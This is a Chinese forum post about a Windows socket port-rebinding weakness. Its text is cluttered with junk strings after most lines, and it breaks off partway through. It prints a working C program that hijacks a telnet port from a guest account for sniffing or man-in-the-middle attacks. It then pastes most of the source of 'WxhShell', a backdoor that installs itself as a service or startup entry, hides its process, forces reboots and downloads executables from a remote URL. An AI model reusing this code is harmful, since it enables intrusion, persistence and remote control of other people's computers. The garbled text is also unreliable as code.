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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,]y)Dy  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T AwA)Zg  
"9&6bBa  
  saddr.sin_family = AF_INET; [0Z r z+q  
HGh`O\f8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #wk'&XsC#z  
@Zjy"u  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;]KGRT  
~bdADVH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '7u#uL,pa1  
$X9-0-  
  这意味着什么?意味着可以进行如下的攻击: 4g$mz:vo  
%_KNAuM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;ZFn~!V  
ZV,n-M =  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7K {/2k  
4F??9o8}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 q,PB; TT  
B&O931E7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6^if%62l&  
f+Put  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 " <m)Fh;  
vp[~%~1(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hGcOk[m 4  
T&tCXi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Me`jh8(K\6  
}ytc oIuLf  
  #include Z>wg o@z%  
  #include <6Y o%xt  
  #include ppM d  
  #include    4 "@BbVYR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .%M=dL>  
  int main() %)i?\(/  
  { p*-o33Ve  
  WORD wVersionRequested; vaxNF%^~yN  
  DWORD ret; _$9<N5F.,o  
  WSADATA wsaData; 13'tsM&  
  BOOL val; N|h`}*:x=  
  SOCKADDR_IN saddr; n-#?6`>a  
  SOCKADDR_IN scaddr; @Vr?)_ 0  
  int err; B+`m  
  SOCKET s; "6gu6f  
  SOCKET sc; c_yf=   
  int caddsize; TMhUo#`I|  
  HANDLE mt; E;@` { v  
  DWORD tid;   wbU pD(  
  wVersionRequested = MAKEWORD( 2, 2 ); `-hFk88  
  err = WSAStartup( wVersionRequested, &wsaData ); ;E,%\<  
  if ( err != 0 ) { H/|Mq#K  
  printf("error!WSAStartup failed!\n"); ${8 1~  
  return -1; k =ru) _$2  
  } Ki,]*-XO  
  saddr.sin_family = AF_INET; }e9E+2}Z\  
   51*o&:eim  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 erdWGUfQOe  
_W@q%L>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =4RnXZ[P0  
  saddr.sin_port = htons(23); gLaFIeF<+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %t([  
  { 0vqXLFf   
  printf("error!socket failed!\n"); pfe9 n[  
  return -1; C o4QWyt:  
  } _ncqd,&z  
  val = TRUE; '&I.w p`^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t9Ht 5 4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |dsd5Vdr  
  { 5sao+dZ"|  
  printf("error!setsockopt failed!\n"); m;>HUTj  
  return -1; N32!*TsWs  
  } GO.mT/rB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; razVO]]E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x\]%TTps  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 po}Jwx!  
 5%mc|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  O3bo3Cm$  
  { c_s=>z  
  ret=GetLastError(); r{pTM cDS  
  printf("error!bind failed!\n"); C&^"]-t  
  return -1; L%# #U'e3  
  } 2ro4{^(_  
  listen(s,2); ex @e-<  
  while(1) VC:.ya|Z  
  { ?\L@Pr|=Dr  
  caddsize = sizeof(scaddr); ~c%H3e>Jcq  
  //接受连接请求 -fI-d1@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L~%@pf>  
  if(sc!=INVALID_SOCKET) E?l_ *[G  
  { 4nmc(CHQ:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EJ;:O1,6H  
  if(mt==NULL) \{ r%.G  
  { 6J9^:gXW~  
  printf("Thread Creat Failed!\n"); K9\`Wu_qL  
  break; FaYDa  
  } EtjN :p|$  
  } _Qs=v0B//  
  CloseHandle(mt); ^31X-}t v  
  } Q&}`( ]k  
  closesocket(s); -& I)3  
  WSACleanup(); R*3x{DNL  
  return 0; R#eY@N}\  
  }   7%) F]  
  DWORD WINAPI ClientThread(LPVOID lpParam) ZW{pO:-  
  { ^ a#Vp  
  SOCKET ss = (SOCKET)lpParam; R#.FfWTZ  
  SOCKET sc; PJA%aRP,:  
  unsigned char buf[4096]; -.~Dhk  
  SOCKADDR_IN saddr; bnt>j0E  
  long num; '!>LF1W=  
  DWORD val; ~:~-AXaMT  
  DWORD ret; o(Yj[:+m  
  //如果是隐藏端口应用的话,可以在此处加一些判断  3=@94i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *^e06xc:  
  saddr.sin_family = AF_INET; H3"90^|,@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dY'/\dJ  
  saddr.sin_port = htons(23); [LDsn]{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :_E=&4&g  
  { .Az' THD}  
  printf("error!socket failed!\n"); 'yd<<BM`  
  return -1; lcR53X  
  } 4n_f7'GZg  
  val = 100; qOAK`{b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FMMQO,BU  
  { j#mo Vq  
  ret = GetLastError(); @(Q 'J`  
  return -1; 5xKo(XNp  
  } 1 ;Bgtv$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @k~'b  
  { vDl6TKXcu  
  ret = GetLastError(); !cS A|C  
  return -1; WfYu-TK *  
  } X/Umfci  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y^pzqv  
  { y qDE|DIez  
  printf("error!socket connect failed!\n"); &!7{2E\7C  
  closesocket(sc); Plpt7Pa_  
  closesocket(ss); ig|o l*~  
  return -1; _ T ;+*  
  } Qv=F'  
  while(1) CJ0{>?  
  { pV`?=[h9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KtH-QQDluj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NbG`v@yH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >HMuh)  
  num = recv(ss,buf,4096,0); {Yp>h5nwM_  
  if(num>0) hS(}<B{x!  
  send(sc,buf,num,0); G1K72M}CW  
  else if(num==0) B"sQ\gb%Q  
  break; 6yZ!K  
  num = recv(sc,buf,4096,0); mhTi{t_fHM  
  if(num>0) .[YM0dt  
  send(ss,buf,num,0); .KH3.v/c|  
  else if(num==0) P")duv  
  break; %^1@c f?.  
  } rfj>/?8!@  
  closesocket(ss); i%RN0UO^  
  closesocket(sc); P,1[NW  
  return 0 ; +JQ/DNv  
  } DdO$&/`)YP  
 0Bbno9Yp  
F/1B>2$`  
========================================================== )q#1C]7m*  
v8=7  
下边附上一个代码,,WXhSHELL ,D#ssxV  
II(7U3  
========================================================== Buazm3q8H  
#Fp5>%*  
#include "stdafx.h" ibe#Y  
@&H Tt  
#include <stdio.h> liu%K9-r  
#include <string.h> !=sM `(=~  
#include <windows.h> YXe L7W  
#include <winsock2.h> EtVRnI@  
#include <winsvc.h> M3>c?,O)J  
#include <urlmon.h> cPQUR^!5  
2|Of$oMc  
#pragma comment (lib, "Ws2_32.lib") 9WE_9$<V  
#pragma comment (lib, "urlmon.lib") kTJz .  
8#?jYhT7  
#define MAX_USER   100 // 最大客户端连接数 +OGa}9j-  
#define BUF_SOCK   200 // sock buffer vd0;33$L  
#define KEY_BUFF   255 // 输入 buffer (- ]A1WQ?  
h?UUd\RU)  
#define REBOOT     0   // 重启 T&@xgj|!)  
#define SHUTDOWN   1   // 关机 WKjE^u  
d5aG6/  
#define DEF_PORT   5000 // 监听端口 ){'Ef_/R  
@D:$~4ks  
#define REG_LEN     16   // 注册表键长度 0M[O(.x  
#define SVC_LEN     80   // NT服务名长度 "DWw]\xO](  
0[ (Z48  
// 从dll定义API f9R~RRz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~96fyk|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0f"9w PC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); QOb+6qy:3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RXo!K iQO  
V_)G=#6Dy  
// wxhshell配置信息 (+M]C]  
struct WSCFG { >j&+mii  
  int ws_port;         // 监听端口 ~3 ,>TV  
  char ws_passstr[REG_LEN]; // 口令 .TI =3*`G  
  int ws_autoins;       // 安装标记, 1=yes 0=no ):LgZ4h  
  char ws_regname[REG_LEN]; // 注册表键名 P~"e=NL5  
  char ws_svcname[REG_LEN]; // 服务名 &nJH23h ^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u1@&o9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HLD8W8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -o\o{?t,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >a6{y   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *<.{sx^Gk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }(*eRF'  
rGNYu\\  
}; ao+lLCr  
k/U1 :9  
// default Wxhshell configuration QL_vWG -  
struct WSCFG wscfg={DEF_PORT, '>8IOC  
    "xuhuanlingzhe", _zuaImJ0o  
    1, 8XS_I{}?  
    "Wxhshell", HUP~  
    "Wxhshell", p,(gv])ie  
            "WxhShell Service", Nft~UggK  
    "Wrsky Windows CmdShell Service", 4Z'/dI`  
    "Please Input Your Password: ", !c 3c%=W  
  1, ^`BiA'gPPC  
  "http://www.wrsky.com/wxhshell.exe", NVt612/'7y  
  "Wxhshell.exe" EISgc {s  
    }; 3I}(as{Rp  
*9XKkR<r  
// 消息定义模块 &oU) ,H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bSG}I|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /Qa'\X,f3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O_gr{L}  
char *msg_ws_ext="\n\rExit."; t>~a/K"  
char *msg_ws_end="\n\rQuit."; /b|V=j}W  
char *msg_ws_boot="\n\rReboot..."; ,sa%u Fm  
char *msg_ws_poff="\n\rShutdown..."; vS@;D7ep  
char *msg_ws_down="\n\rSave to "; Lo<-;;vQ  
V:YN!  
char *msg_ws_err="\n\rErr!"; >EacXPt-O  
char *msg_ws_ok="\n\rOK!"; [WfigqY`b*  
y}\d]*5  
char ExeFile[MAX_PATH]; Q+ i  
int nUser = 0; nfj8z@!  
HANDLE handles[MAX_USER]; x>C_O\  
int OsIsNt; g-4m.;  
yA+ NRWWj  
SERVICE_STATUS       serviceStatus; 88]4 GVi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NZ|(#` X  
bXiOf#:''  
// 函数声明 cs-wqxTX[$  
int Install(void); ?W27 h  
int Uninstall(void); /s/\5-U7q  
int DownloadFile(char *sURL, SOCKET wsh); L  `\>_  
int Boot(int flag); \me'B {aa  
void HideProc(void); # $N)  
int GetOsVer(void); VR'R7  
int Wxhshell(SOCKET wsl); -;1nv:7Z3  
void TalkWithClient(void *cs); 8@)4)+e  
int CmdShell(SOCKET sock); 0 %W0vTvL  
int StartFromService(void); 2HX#:y{\l  
int StartWxhshell(LPSTR lpCmdLine); 9%^IMUWA  
~zd+M/8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iXgy/>qgT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X2 PyFe  
0etJ, _">  
// 数据结构和表定义 !GAU?J;<#2  
SERVICE_TABLE_ENTRY DispatchTable[] = (O(X k+L  
{ KAFx^JLo  
{wscfg.ws_svcname, NTServiceMain}, :TZ</3Sw  
{NULL, NULL} dlf nhf  
}; 17C"@1n-  
;_nV*G.y#^  
// 自我安装 o8ERU($/  
int Install(void) [_X.Equ  
{ _u] S/X-  
  char svExeFile[MAX_PATH]; ^&|KuI+ u  
  HKEY key; c %f'rj  
  strcpy(svExeFile,ExeFile); /[FES 78p  
\* /R6svz  
// 如果是win9x系统,修改注册表设为自启动 K^yZfpa8  
if(!OsIsNt) { `pJWZ:3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (+x!wX( x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -Uo"!o>x|  
  RegCloseKey(key); 4k]DktY}.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !iHJ!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {[[j.)  
  RegCloseKey(key); aGx[?}=  
  return 0; 2@jlF!zC  
    } +gh*n,:|  
  } {0IC2jE  
} ,UA-Pq3 }  
else { d^:(-2l-  
T!ik"YZ@i  
// 如果是NT以上系统,安装为系统服务 a{y"vVQOF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); gwQk M4  
if (schSCManager!=0) 4f-I,)qCBk  
{ O Bp&64  
  SC_HANDLE schService = CreateService |EpL~ G_  
  ( `9vCl@"IV  
  schSCManager, WWtksi,  
  wscfg.ws_svcname, ([Da*Tk*  
  wscfg.ws_svcdisp, Eo@b)h  
  SERVICE_ALL_ACCESS, +]*hzWbe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dFw>SYrpu  
  SERVICE_AUTO_START, wQR0R~|M  
  SERVICE_ERROR_NORMAL, ?,AWXiif  
  svExeFile, Pf?zszvs  
  NULL, h;RKF\U:"  
  NULL, E!6Nf[  
  NULL, `/+PZqdC  
  NULL, ?c0@A*:o  
  NULL e"u89acp  
  ); ]ff5MY 36  
  if (schService!=0) ,Srj38p  
  { +=JJ=F)  
  CloseServiceHandle(schService); W>2m %q U  
  CloseServiceHandle(schSCManager); AfqthI$*m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H]a@"gO  
  strcat(svExeFile,wscfg.ws_svcname); +H `FC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IuOY.c2.u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %7n(>em  
  RegCloseKey(key); BSc5@;  
  return 0; t9Y?0O}/  
    } >SSRwYIN  
  } OO  /Pc  
  CloseServiceHandle(schSCManager); kA/V=xO<  
} \66j4?H#  
} r_EuLFMA  
\NTNB9>CO  
return 1; fo$A c  
} bPhbd  
fd&=\~1_$  
// 自我卸载 ?T\_"G  
int Uninstall(void) xZ.c@u6:  
{ t^KoqJ  
  HKEY key; WY`hNT6M  
Vv<Tjr  
if(!OsIsNt) { h}@)oSX }  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u''~nSR3&  
  RegDeleteValue(key,wscfg.ws_regname); S mjg[  
  RegCloseKey(key); [;*Vm0>t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4&a,7uVer  
  RegDeleteValue(key,wscfg.ws_regname); gsD0N^  
  RegCloseKey(key);  aa10vV  
  return 0; ^N2N>^'&1.  
  } .V'=z|   
} %yJ $R2%*y  
} 8Ug`2xS<_  
else { +i1\],7  
_=d X01  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S-D=-{@  
if (schSCManager!=0) HaiaDY)  
{ Rd|xw%R\mb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dX vp-oi  
  if (schService!=0) U%)m [zAw  
  { S`v+rQjW  
  if(DeleteService(schService)!=0) { D/7hVwMw:  
  CloseServiceHandle(schService); wNt-mgir-Q  
  CloseServiceHandle(schSCManager); CTOrBl$70  
  return 0; U 2@Mxw  
  } ocbNf'W;  
  CloseServiceHandle(schService); N-9qNLSP  
  } #Emz9qTsce  
  CloseServiceHandle(schSCManager); o7B }~;L  
} @*{sj`AS '  
} F>!gwmn~  
Mq [|w2.  
return 1; Pcox~U/j  
} $,v[<T`  
cy+EJq I  
// 从指定url下载文件 *k%3J9=-1  
int DownloadFile(char *sURL, SOCKET wsh) z')zV oW,  
{ ]0yYMnqvr  
  HRESULT hr; erQ0fW  
char seps[]= "/"; UvPD/qu$8D  
char *token; y7x[noGtR  
char *file; j^&{5s  
char myURL[MAX_PATH]; Il&}4#:  
char myFILE[MAX_PATH]; #FL\9RXy  
|'bRVqJ  
strcpy(myURL,sURL); _#mo6')j  
  token=strtok(myURL,seps); zC[lPABQ  
  while(token!=NULL) -jJw wOm  
  { vxrRkOU1  
    file=token;  #Lq{_Y  
  token=strtok(NULL,seps); PiTe/  
  } G>q16nS~KP  
kk*:S*,  
GetCurrentDirectory(MAX_PATH,myFILE); lxvRF93a.  
strcat(myFILE, "\\"); ".=LzjE<gv  
strcat(myFILE, file); 5W29oz}-S  
  send(wsh,myFILE,strlen(myFILE),0); d|, B* N(w  
send(wsh,"...",3,0); ~.,h12  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G',*"mZQ[  
  if(hr==S_OK) _\y%u_W  
return 0; :y!%GJW  
else _P]!J~$5  
return 1; *i>?YT  
E*F)jP,yo  
} ,%a7sk<5k  
8% ;K#,>  
// 系统电源模块 O^AF+c\n  
int Boot(int flag) cIIt ;q[  
{ [3#A)#kWm  
  HANDLE hToken; e~wJO~  
  TOKEN_PRIVILEGES tkp; %488"  
k'd(H5A   
  if(OsIsNt) { 7w U$P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +-B`Fya  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nvdo|5  
    tkp.PrivilegeCount = 1; A,2dK}\>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {#c* *' 4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rt{`v<  
if(flag==REBOOT) { 22<T.c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3Q@HP;<  
  return 0; i{$h]D_fD  
} >,JA=s  
else { X@[)jWs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) { fmY_T[Q8  
  return 0; 08!pLE  
} )38M~/ ^l  
  } us^2Oplq<  
  else { a V4p0s6ZZ  
if(flag==REBOOT) { u*<G20~A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nnZ|oEF  
  return 0; 1YklPMx6  
} /<Doe SDJ|  
else { TyCMZsvM,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d/57;6I_  
  return 0; J"x M[c2  
} N1LZXXY{  
} V|h/a\P  
j3W)5ZX  
return 1; XU}|Ud562  
} a^*@j:[  
#h 4`f  
// win9x进程隐藏模块 ![v@+9  
void HideProc(void) w;;.bz m  
{ r`THOj\cM  
K`9ph"(Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oM@X)6P_  
  if ( hKernel != NULL ) _l`s}yC  
  { E,#J\)'z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `+!GoXI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S'I{'jP5  
    FreeLibrary(hKernel); zlh}8Es  
  } DJtKLG0  
bIP'(B#1K  
return; NY5?T0/[  
} \gh`P S-B  
%EZG2JjO)  
// 获取操作系统版本 ?]fd g;?@  
int GetOsVer(void) !~{AF|2f  
{ .Jt&6N  
  OSVERSIONINFO winfo; =Of!1TR(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *N0R3da  
  GetVersionEx(&winfo); 1,p[4k~Ww  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S >PTD@  
  return 1; Lmy ^/P%  
  else O MEPF2:  
  return 0; CaZ{UGokL  
} u"%i3%Yjh  
2Et7o/\<  
// 客户端句柄模块 ~ituPrH%<  
int Wxhshell(SOCKET wsl) D3LW 49  
{ p7"o:YSQ  
  SOCKET wsh; \(lt [=  
  struct sockaddr_in client; lg0iNc!  
  DWORD myID; C ^@~  
R~,*W1G6sF  
  while(nUser<MAX_USER) gJNp]I2R  
{ kq[*q-:"x  
  int nSize=sizeof(client); hCX}*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CW(]6s u{  
  if(wsh==INVALID_SOCKET) return 1; xud  
(ia(y(=C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {]\Q UXH  
if(handles[nUser]==0) 3N?WpA768/  
  closesocket(wsh); Z6}B}5@y  
else M]?#]3XBNo  
  nUser++; 1*eWo~G  
  } 7XE/bhe%S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6g*B=d(j  
<;d?E%`  
  return 0; c~0YIk>]  
} Vwp fkD`  
u-zl-?Ne  
// 关闭 socket l>RW&C&T  
void CloseIt(SOCKET wsh) 3S-nsMs.  
{ A L#"j62  
closesocket(wsh); .y{qsL^P  
nUser--; fbKL31PI  
ExitThread(0); uj$b/I>.'  
} f1;Pzr  
,z1X{  
// 客户端请求句柄 @|xcrEnP}B  
void TalkWithClient(void *cs) qlJP2Ig~  
{ 3F ;+ D  
N(v<*jn  
  SOCKET wsh=(SOCKET)cs; -I.OvzQ*  
  char pwd[SVC_LEN]; 00'R1q4  
  char cmd[KEY_BUFF]; @x">e][B  
char chr[1]; !Y3w]_x[:  
int i,j; ~S)o ('  
B*A{@)_  
  while (nUser < MAX_USER) { x68$?CD  
sm-RpZ&|  
if(wscfg.ws_passstr) { 6R1){,8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C6=7zYhR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F8km8lPQl  
  //ZeroMemory(pwd,KEY_BUFF); X8Px  
      i=0; =& ~*r  
  while(i<SVC_LEN) { o'@VDGS`  
qG=9zp4y?Y  
  // 设置超时 h Ns<Ae  
  fd_set FdRead; \$ L2xd  
  struct timeval TimeOut; %N@454enH  
  FD_ZERO(&FdRead); ( Kh<qAP_n  
  FD_SET(wsh,&FdRead); GMLq3_'  
  TimeOut.tv_sec=8; ;"=a-$vm  
  TimeOut.tv_usec=0; a DuO!?Cm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -tWkN^j8+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k/W$)b:Of`  
&Ib8xwb:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5An| #^]  
  pwd=chr[0]; s`ly#+!.  
  if(chr[0]==0xd || chr[0]==0xa) { _>B0q|]j4'  
  pwd=0; +Gi~VW.  
  break; }wrZP}zM>  
  } Z[ }0K3,5  
  i++; LbDhPG`u  
    } $Ml/=\EHOg  
PA;RUe  
  // 如果是非法用户,关闭 socket r'M|mQ$s>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FMB\$(g  
} oop''6`C%  
IC>OxYg*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 306C_ M\$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CXGq>cQ=d  
?y!0QAIXK  
while(1) { Q@hx +aM  
^EE 3E'  
  ZeroMemory(cmd,KEY_BUFF); E^_P  
x]lv:m\)jT  
      // 自动支持客户端 telnet标准   a0OH  
  j=0; $:w4_X5T  
  while(j<KEY_BUFF) { S/& _  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0f/=C9L  
  cmd[j]=chr[0]; ma>{((N  
  if(chr[0]==0xa || chr[0]==0xd) { "0Uh(9Fv  
  cmd[j]=0; sY!PXD0Q  
  break; )Ac+5bs  
  } vr2tIKvpn  
  j++; 6,)!\1k  
    } y% =nhV  
nY"9"R\.=  
  // 下载文件 b5_(Fv  
  if(strstr(cmd,"http://")) { 9*2A}dH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .Y[sQO~%  
  if(DownloadFile(cmd,wsh)) z-K?Ak B1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 72@raA#y  
  else :\x53-&hO4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \2)a.2mAz  
  } Ha9A5Ao}0  
  else { J6/Mm7R  
7$'%*|C.  
    switch(cmd[0]) { o&)O&bNJ  
  Xjc{={@p3  
  // 帮助 &Al9%W  
  case '?': { B5pM cw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '`$a l7D  
    break; o1='Fr  
  } /`#sp  
  // 安装 1BUdl=o>S  
  case 'i': { c)gG  
    if(Install()) gsd9QW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qN}kDT  
    else zd AqGQfc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F;Ms6 "K  
    break; =cE:,z ;g  
    } R4GmUCKB=  
  // 卸载 "I?sz)pxG  
  case 'r': { 1XQJ#J1/  
    if(Uninstall()) ]8KAat~J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x nWCio>M  
    else Xm&L@2V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~fB}v  
    break; _,(]T&j #2  
    } 3UgusH3  
  // 显示 wxhshell 所在路径 U;o[>{L   
  case 'p': { ]C^D5(t/cd  
    char svExeFile[MAX_PATH]; '{WYho!  
    strcpy(svExeFile,"\n\r"); rRyBGEj  
      strcat(svExeFile,ExeFile); 9H:5XR  
        send(wsh,svExeFile,strlen(svExeFile),0); 4mSL*1j  
    break; @sv==|h  
    } H S/ 1z  
  // 重启 Tyt:Abym=  
  case 'b': { BUB#\v#a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eSf e s  
    if(Boot(REBOOT)) 2)]C'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x"h0Fe?J  
    else { :" Q!Q@>  
    closesocket(wsh); ]bCeJE.+)  
    ExitThread(0); YgiwtZ5FY  
    } ?F'gh4  
    break; |$@/ Z +  
    } D7cOEL<  
  // 关机 %\#s@8=2u  
  case 'd': { 6+"P$Ed#i  
